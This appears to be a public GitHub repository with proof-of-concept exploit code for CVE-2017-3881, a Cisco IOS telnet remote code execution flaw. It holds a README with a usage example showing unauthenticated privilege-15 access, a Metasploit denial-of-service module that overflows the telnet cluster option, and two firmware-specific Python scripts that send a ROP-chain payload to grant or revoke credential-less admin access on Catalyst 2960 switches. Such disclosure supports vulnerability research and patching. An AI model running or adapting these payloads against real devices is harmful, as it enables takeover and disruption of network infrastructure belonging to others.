├── README.md ├── ios_telnet_rocem.rb ├── c2960-lanbasek9-m-12.2.55.se1.py └── c2960-lanbasek9-m-12.2.55.se11.py /README.md: -------------------------------------------------------------------------------- 1 | CVE-2017-3881 Cisco IOS remote code execution 2 | =================== 3 | 4 | 5 | This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - 6 | 7 | 8 | Description 9 | ------------- 10 | Exploit write-up is available here - 11 | 12 | RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported: 13 | 14 | - 12.2(55)SE1 C2960-LANBASEK9-M 15 | 16 | - 12.2(55)SE11 C2960-LANBASEK9-M 17 | 18 | Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed). 19 | 20 | Usage example 21 | ------------- 22 | 23 | ``` 24 | $ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set 25 | [+] Connection OK 26 | [+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f' 27 | [+] Sending cluster option 28 | [+] Setting credless privilege 15 authentication 29 | [+] All done 30 | $ telnet 192.168.88.10 31 | Trying 192.168.88.10... 32 | Connected to 192.168.88.10. 33 | Escape character is '^]'. 34 | 35 | catalyst1#show priv 36 | Current privilege level is 15 37 | ``` 38 | 39 | 40 | Author 41 | ------ 42 | 43 | Artem Kondratenko https://twitter.com/artkond 44 | -------------------------------------------------------------------------------- /ios_telnet_rocem.rb: -------------------------------------------------------------------------------- 1 | ## 2 | # This module requires Metasploit: http://metasploit.com/download 3 | # Current source: https://github.com/rapid7/metasploit-framework 4 | ## 5 | 6 | 7 | require 'msf/core' 8 | 9 | 10 | class MetasploitModule < Msf::Auxiliary 11 | 12 | include Msf::Exploit::Remote::Tcp 13 | include Msf::Auxiliary::Dos 14 | 15 | def initialize(info = {}) 16 | super(update_info(info, 17 | 'Name' => 'Cisco IOS Telnet Denial of Service', 18 | 'Description' => %q{ 19 | This module triggers a Denial of Service condition in the Cisco IOS 20 | telnet service affecting multiple Cisco switches (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp). Tested against Cisco Catalyst 2960. 21 | }, 22 | 'Author' => [ 'Artem Kondratenko' ], 23 | 'License' => MSF_LICENSE, 24 | 'References' => 25 | [ 26 | [ 'BID', '96960'], 27 | [ 'CVE', 'CVE-2017-3881'], 28 | ], 29 | 'DisclosureDate' => 'March 17 2017')) 30 | 31 | register_options( 32 | [ 33 | Opt::RPORT(23), 34 | ], self.class) 35 | 36 | end 37 | 38 | def run 39 | 40 | connect 41 | print_status("Connected to telnet service") 42 | print_status("Got initial packet from telnet service: " + sock.gets.inspect) 43 | print_status("Sending Telnet DoS packet") 44 | sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + 'A' * 1000 + ":1:\xff\xf0") 45 | disconnect 46 | 47 | rescue ::Rex::ConnectionRefused 48 | print_status("Unable to connect to #{rhost}:#{rport}.") 49 | rescue ::Errno::ECONNRESET 50 | print_status("DoS packet successful. #{rhost} not responding.") 51 | end 52 | 53 | end 54 | 55 | -------------------------------------------------------------------------------- /c2960-lanbasek9-m-12.2.55.se1.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Author: 3 | # Artem Kondratenko (@artkond) 4 | 5 | import socket 6 | import sys 7 | from time import sleep 8 | 9 | set_credless = True 10 | 11 | if len(sys.argv) < 3: 12 | print sys.argv[0] + ' [host] --set/--unset' 13 | sys.exit() 14 | elif sys.argv[2] == '--unset': 15 | set_credless = False 16 | elif sys.argv[2] == '--set': 17 | pass 18 | else: 19 | print sys.argv[0] + ' [host] --set/--unset' 20 | sys.exit() 21 | 22 | 23 | s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) 24 | s.connect((sys.argv[1], 23)) 25 | 26 | print '[+] Connection OK' 27 | print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) 28 | #sleep(0.5) 29 | print '[+] Sending cluster option' 30 | 31 | print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' 32 | 33 | 34 | 35 | payload = '\xff\xfa\x24\x00' 36 | payload += '\x03CISCO_KITS\x012:' 37 | payload += 'A' * 116 38 | payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; 39 | #next bytes are shown as offsets from r1 40 | payload += '\x02\x2c\x8b\x74' # +8 address of pointer to is_cluster_mode function - 0x34 41 | if set_credless is True: 42 | payload += '\x00\x00\x99\x80' # +12 set address of func that rets 1 43 | else: 44 | payload += '\x00\x04\xea\x58' # unset 45 | payload += 'BBBB' # +16(+0) r1 points here at second gadget 46 | payload += '\x00\xdf\xfb\xe8' # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; 47 | payload += 'CCCC' # +8 48 | payload += 'DDDD' # +12 49 | payload += 'EEEE' # +16(+0) r1 points here at third gadget 50 | payload += '\x00\x06\x78\x8c' # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 51 | payload += '\x02\x2c\x8b\x60' # +8 r1+8 = 0x022c8b60 52 | payload += 'FFFF' # +12 53 | payload += 'GGGG' # +16(+0) r1 points here at fourth gadget 54 | payload += '\x00\x6b\xa1\x28' # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; 55 | if set_credless: 56 | payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; 57 | else: 58 | payload += '\x00\x04\xe6\xf0' # unset 59 | payload += 'HHHH' # +12 60 | payload += 'IIII' # +16(+0) r1 points here at fifth gadget 61 | payload += '\x01\x48\xe5\x60' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; 62 | payload += 'JJJJ' # +8 r1 points here at third gadget 63 | payload += 'KKKK' # +12 64 | payload += 'LLLL' # +16 65 | payload += '\x01\x13\x31\xa8' # +20 original execution flow return addr 66 | payload += ':15:' + '\xff\xf0' 67 | 68 | s.send(payload) 69 | 70 | print '[+] All done' 71 | 72 | s.close() -------------------------------------------------------------------------------- /c2960-lanbasek9-m-12.2.55.se11.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | # Author: 3 | # Artem Kondratenko (@artkond) 4 | 5 | import socket 6 | import sys 7 | from time import sleep 8 | 9 | set_credless = True 10 | 11 | if len(sys.argv) < 3: 12 | print sys.argv[0] + ' [host] --set/--unset' 13 | sys.exit() 14 | elif sys.argv[2] == '--unset': 15 | set_credless = False 16 | elif sys.argv[2] == '--set': 17 | pass 18 | else: 19 | print sys.argv[0] + ' [host] --set/--unset' 20 | sys.exit() 21 | 22 | 23 | s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) 24 | s.connect((sys.argv[1], 23)) 25 | 26 | print '[+] Connection OK' 27 | print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) 28 | #sleep(0.5) 29 | print '[+] Sending cluster option' 30 | 31 | print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' 32 | 33 | 34 | 35 | payload = '\xff\xfa\x24\x00' 36 | payload += '\x03CISCO_KITS\x012:' 37 | payload += 'A' * 116 38 | payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; 39 | #next bytes are shown as offsets from r1 40 | payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34 41 | if set_credless is True: 42 | payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1 43 | else: 44 | payload += '\x00\x04\xeA\xe0' # unset 45 | payload += 'BBBB' # +16(+0) r1 points here at second gadget 46 | payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; 47 | payload += 'CCCC' # +8 48 | payload += 'DDDD' # +12 49 | payload += 'EEEE' # +16(+0) r1 points here at third gadget 50 | payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; 51 | payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8 52 | payload += 'FFFF' # +12 53 | payload += 'GGGG' # +16(+0) r1 points here at fourth gadget 54 | payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; 55 | if set_credless: 56 | payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; 57 | else: 58 | payload += '\x00\x04\xe7\x78' # unset 59 | payload += 'HHHH' # +12 60 | payload += 'IIII' # +16(+0) r1 points here at fifth gadget 61 | payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; 62 | payload += 'JJJJ' # +8 r1 points here at third gadget 63 | payload += 'KKKK' # +12 64 | payload += 'LLLL' # +16 65 | payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr 66 | payload += ':15:' + '\xff\xf0' 67 | 68 | s.send(payload) 69 | 70 | print '[+] All done' 71 | 72 | s.close() 73 | --------------------------------------------------------------------------------